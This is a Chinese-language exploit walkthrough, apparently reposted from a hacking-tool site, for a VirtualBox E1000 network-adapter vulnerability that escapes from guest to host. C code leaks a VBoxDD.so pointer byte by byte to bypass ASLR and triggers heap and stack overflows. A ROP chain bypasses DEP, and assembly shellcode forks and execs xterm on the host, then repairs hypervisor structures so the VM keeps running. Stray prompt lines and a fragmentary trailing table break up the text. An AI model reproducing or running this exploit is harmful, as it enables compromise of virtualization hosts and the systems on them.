现在我们结合写入和读取原语,利用它们绕过ASLR。我们将溢出堆,覆盖EEPROM93C46结构,然后触发EEPROM有限自动机将索引写入ACPIState结构,接着在客户机中执行INB(0x4107)以访问ACPI,读取指针的一个字节。重复此过程8次,每次将索引递增1。```c uint64_t stage_1_main(void* mmio, void* tx_ring) { printk(KERN_INFO PFX"##### Stage 1 #####\n");

root@kitploit:~
// When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
// is sent back to the guest and handled right now via e1kHandleRxPacket.
// When loopback mode is disabled data is sent to a network as usual.
// We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
// in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
// the stack buffer.
e1000_disable_loopback_mode(mmio);

uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i < 8; i++) {
    stage_1_overflow_heap_buffer(mmio, tx_ring, i);
    leaked_bytes[i] = stage_1_leak_byte();

    printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
}

uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

return vboxdd_base;

}

root@kitploit:~
据说,为了使整数下溢不会导致堆栈缓冲区溢出,需要配置某些 E1000 寄存器。其思路是,在循环模式下处理 Tx 描述符时,e1kHandleRxPacket 函数会被调用,从而导致缓冲区溢出。实际上,在循环模式下,客户机将网络数据包发送给自己,因此在发送后立即被接收。我们禁用了此模式,因此 e1kHandleRxPacket 不可达。

### DEP 绕过
我们已经绕过了 ASLR。现在可以启用循环模式,并触发堆栈缓冲区溢出。```c
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

目前,当e1kHandleRxPacket的最后一条指令被执行时,保存的返回地址被覆盖,控制权被转移到攻击者想要的任何地方。但DEP仍然存在。它通过构建ROP链的经典方式被绕过。ROP gadgets分配可执行内存,将shellcode加载器复制进去并执行它。

Shellcode

shellcode加载器很简单。它将溢出缓冲区的开头复制到其旁边。```asm use64

start: lea rsi, [rsp - 0x4170]; push rax pop rdi add rdi, loader_size mov rcx, 0x800 rep movsb nop

payload: ; Here the shellcode is to be

loader_size = $ - start

root@kitploit:~
shellcode被执行。其第一部分是:```asm
use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

它通过 fork 和 execve 创建 /usr/bin/xterm 进程。攻击者获得了对宿主机 ring 3 的控制。

进程延续

我认为每一个漏洞利用都应当是完整的。这意味着它不应导致应用程序崩溃,尽管有时这当然无法做到。我们需要虚拟机继续执行,这由 shellcode 的第二部分实现。```asm continue_process_execution: ; Restore RBP mov rbp, rsp add rbp, 0x48

root@kitploit:~
; Skip junk
add rsp, 0x10

; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15

; Skip junk
add rsp, 0x8

; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb

; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0

; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

ret
root@kitploit:~
当 e1kHandleRxPacket 被调用时,调用栈为:```
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

我们直接跳到 e1kR3NetworkDown_XmitPending,它什么也不做,只是返回到一个虚拟机监控器函数。```c static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface) { PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown); /* Resume suspended transmission */ STATUS &= ~STATUS_TXOFF; e1kXmitPending(pThis, true /fOnWorkerThread/); }

root@kitploit:~
Shellcode 将 0x48 加到 RBP 上,使其恢复为 e1kR3NetworkDown_XmitPending 中应有的值。接下来,寄存器 RBX、R12、R13、R14、R15 从栈中取出,因为 System V ABI 要求在 callee 函数中保留它们。如果不这样做,hypervisor 会因为其中的无效指针而崩溃。

这可能已经足够了,因为虚拟机不再崩溃并继续执行。但是在关闭虚拟机时,PDMR3QueueDestroyDevice 函数中会出现访问违规。原因是当堆被溢出时,一个重要的结构 PDMQUEUE 被覆盖。而且,它被最后两个 ROP gadgets 覆盖,即最后的 16 字节。我尝试缩小 ROP 链的大小但失败了,但当我手动替换数据时,hypervisor 仍然崩溃。这意味着障碍并非看上去那么简单。

被覆盖的数据结构是一个链表。需要覆盖的数据位于倒数第二个列表元素中;下一个指针将被覆盖。解决方法原来很简单:```
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

移除最后两个元素可以让虚拟机正常关闭。

演示

https://vimeo.com/299325088

下载工具
Tx 描述符执行前/后u16MaxPktLenpThis->u16TxPktLenpDesc->data.cmd.u20DTALEN
data_2执行前0x301000x10
-执行后0x30100x100
data_3执行前0x30100x100
-执行后0x30100x100
data_5
之前
0xF
0x10
0x4188
-之后---